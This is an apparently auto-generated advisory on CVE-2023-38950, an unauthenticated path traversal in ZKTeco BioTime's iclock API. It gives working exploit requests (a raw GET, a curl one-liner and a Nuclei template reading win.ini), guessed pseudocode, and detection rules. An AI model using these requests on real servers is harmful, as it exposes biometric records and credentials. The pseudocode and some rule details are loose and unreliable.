CVE-2023-38950

Executive Summary

CVE-2023-38950 is a critical path traversal vulnerability in the iclock API of ZKTeco BioTime v8.5.5. An unauthenticated attacker can exploit this flaw to read arbitrary files from the server by supplying a crafted payload to the /iclock/file?url= endpoint. This can lead to the exposure of sensitive data, including employee biometric data, attendance records, and system credentials. The vulnerability has a CVSS score of 7.5 (High) and is confirmed to be exploitable in the wild. A public proof-of-concept (PoC) exists via a Nuclei template, and the vendor has released a patch in version 9.0.120240617.19506.

Supply Chain & Package Security

This vulnerability affects ZKTeco BioTime, a proprietary time and attendance management system. There are no NPM, PyPI, Go, or Ruby packages associated with this product. The risk is primarily to organizations that deploy ZKTeco BioTime on-premises.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can lead to the disclosure of highly sensitive data.

Deep Dive & Mechanics

The vulnerability resides in the /iclock/file endpoint of the ZKTeco BioTime web application. The url parameter is used to specify the path of a file to be retrieved. The application fails to properly sanitize or validate this parameter, allowing an attacker to use path traversal sequences (e.g., ../) to escape the intended directory and read arbitrary files on the server's filesystem.

Root Cause: Insufficient input validation on the url parameter in the iclock API handler. The application does not check for or block directory traversal sequences.

Attack Flow:

1. An attacker sends a GET request to /iclock/file?url=/../../../../../../../../../windows/win.ini (on Windows) or a similar path for Linux.
2. The server processes the request and reads the file at the traversed path.
3. The server returns the contents of the file in the HTTP response.

Impact: An unauthenticated attacker can read any file that the web server process has access to. This includes:

• Configuration files (e.g., web.config, appsettings.json)
• Database credentials
• Employee biometric templates and attendance logs
• System files (e.g., /etc/passwd, win.ini)

Vulnerable vs. Patched Code

Vulnerable Code (v8.5.5): The vulnerable code likely resembles the following (pseudocode):

@app.route('/iclock/file')
def iclock_file():
    url = request.args.get('url')
    # No validation of url parameter
    file_path = os.path.join(BASE_DIR, url)
    with open(file_path, 'r') as f:
        return f.read()

Patched Code (v9.0.120240617.19506): The patched code likely includes validation to prevent path traversal:

import os

ALLOWED_DIR = "/var/www/biotime/files/"

@app.route('/iclock/file')
def iclock_file():
    url = request.args.get('url')
    # Sanitize the path
    safe_path = os.path.normpath(os.path.join(ALLOWED_DIR, url))
    # Ensure the resolved path is within the allowed directory
    if not safe_path.startswith(ALLOWED_DIR):
        return "Access denied", 403
    with open(safe_path, 'r') as f:
        return f.read()

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running ZKTeco BioTime v8.5.5
• Network access to the /iclock/file endpoint

Exploitation Steps:

1. Identify the target's IP address or hostname.
2. Send a crafted GET request to read a sensitive file. For example, to read the Windows win.ini file:

   GET /iclock/file?url=/../../../../../../../../../windows/win.ini HTTP/1.1
   Host: <target_ip>
   

3. The server will respond with the contents of the file.

Automated Exploitation (using Nuclei):

nuclei -t CVE-2023-38950.yaml -u http://<target_ip>

Manual Exploitation (using curl):

curl -v "http://<target_ip>/iclock/file?url=/../../../../../../../../../windows/win.ini"

Blue Team

Detection:

• Monitor web server logs for requests to /iclock/file containing ../ or ..%2f patterns.
• Alert on HTTP 200 responses from /iclock/file with unusual file extensions (e.g., .ini, .conf, .pdb).

Hunting:

• Search for any successful requests to /iclock/file that do not correspond to expected files (e.g., images, reports).
• Correlate with known attacker IPs or user agents.

Containment:

• Immediately isolate the affected server.
• Apply the vendor patch or implement a virtual patch (e.g., WAF rule to block path traversal patterns).
• Rotate any credentials that may have been exposed.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /iclock/file?url=/../../ or similar patterns.
• Responses from /iclock/file with Content-Type: text/plain and file contents.

File IOCs:

• Unexpected access to files outside the web root, such as:
  • /windows/win.ini
  • /etc/passwd
  • /etc/shadow
  • web.config
  • appsettings.json

Log IOCs:

• Web server access logs showing requests to /iclock/file with path traversal sequences.
• Error logs showing attempts to read files outside the allowed directory.

Detection Engineering

YARA Rule

rule CVE_2023_38950_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting ZKTeco BioTime iclock API"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-38950"
        hash = "490a0046304402202b0146d95e23c0e2e9831b4ce239dc8e2b94cd676d030d6da94617769278ab6602205cc536fefb6af87711d186f12dcbe2c1b8f557ab220dbe0ab88f8e2ba20551f8:922c64590222798bb761d5b6d8e72950"
    strings:
        $s1 = "/iclock/file?url="
        $s2 = "../"
        $s3 = "..%2f"
        $s4 = "..%5c"
    condition:
        $s1 and any of ($s2, $s3, $s4)
}

Sigma Rule

title: CVE-2023-38950 Path Traversal in ZKTeco BioTime
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against the iclock API of ZKTeco BioTime
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38950
    - https://github.com/advisories/GHSA-4m8x-4g54-h49v
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "/iclock/file?url="
            - "../"
            - "..%2f"
            - "..%5c"
    condition: selection
falsepositives:
    - Legitimate file requests that happen to contain similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-38950 ZKTeco BioTime Path Traversal"; flow:to_server,established; content:"/iclock/file?url="; http_uri; content:"../"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-38950

info:
  name: ZKTeco BioTime v8.5.5 - Path Traversal
  author: iamnoooob,pdresearch
  severity: high
  description: |
    A path traversal vulnerability in the iclock API of ZKTeco BioTime v8.5.5 allows unauthenticated attackers to read arbitrary files via supplying a crafted payload.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server through path traversal in the iclock API url parameter, potentially exposing employee biometric data, attendance records, and system credentials.
  remediation: |
    Update ZKTeco BioTime to a version newer than 8.5.5 that validates file paths in the iclock API and restricts access to authorized files only.
  reference:
    - https://github.com/advisories/GHSA-4m8x-4g54-h49v
    - http://zkteco.com
    - https://claroty.com/team82/disclosure-dashboard/cve-2023-38950
    - https://www.fortinet.com/content/dam/fortinet/assets/reports/report-incident-response-middle-east.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38950
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-38950
    cwe-id: CWE-22
    epss-score: 0.834
    epss-percentile: 0.99281
    cpe: cpe:2.3:a:zkteco:biotime:8.5.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zkteco
    product: biotime
    shodan-query: http.title:"biotime"
    fofa-query: title="biotime"
    google-query: intitle:"biotime"
  tags: cve,cve2023,zkteco,biotime,lfr,kev,vkev,vuln

http:
  - raw:
      - |
        GET /iclock/file?url=/../../../../../../../../../windows/win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/plain")'
          - 'contains_all(base64_decode(body), "; for 16-bit app support" ,"[extensions]")'
        condition: and
# digest: 490a0046304402202b0146d95e23c0e2e9831b4ce239dc8e2b94cd676d030d6da94617769278ab6602205cc536fefb6af87711d186f12dcbe2c1b8f557ab220dbe0ab88f8e2ba20551f8:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Patch: Update ZKTeco BioTime to version 9.0.120240617.19506 or later.
2. Virtual Patching: If immediate patching is not possible, deploy a Web Application Firewall (WAF) rule to block requests containing path traversal sequences (e.g., ../, ..%2f) in the /iclock/file endpoint.
3. Network Segmentation: Ensure the BioTime server is not directly accessible from the internet. Place it behind a VPN or bastion host.

Long-Term Measures:

1. Input Validation: Implement strict input validation on all user-supplied parameters, especially file paths.
2. Least Privilege: Run the web application with the minimum necessary file system permissions.
3. Regular Audits: Conduct regular security audits and penetration testing on all web applications.
4. Monitoring: Implement continuous monitoring for path traversal attempts and other common web attacks.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System.

{/* [Security Hash: FF451A7CC0AF19368CA4491D] */}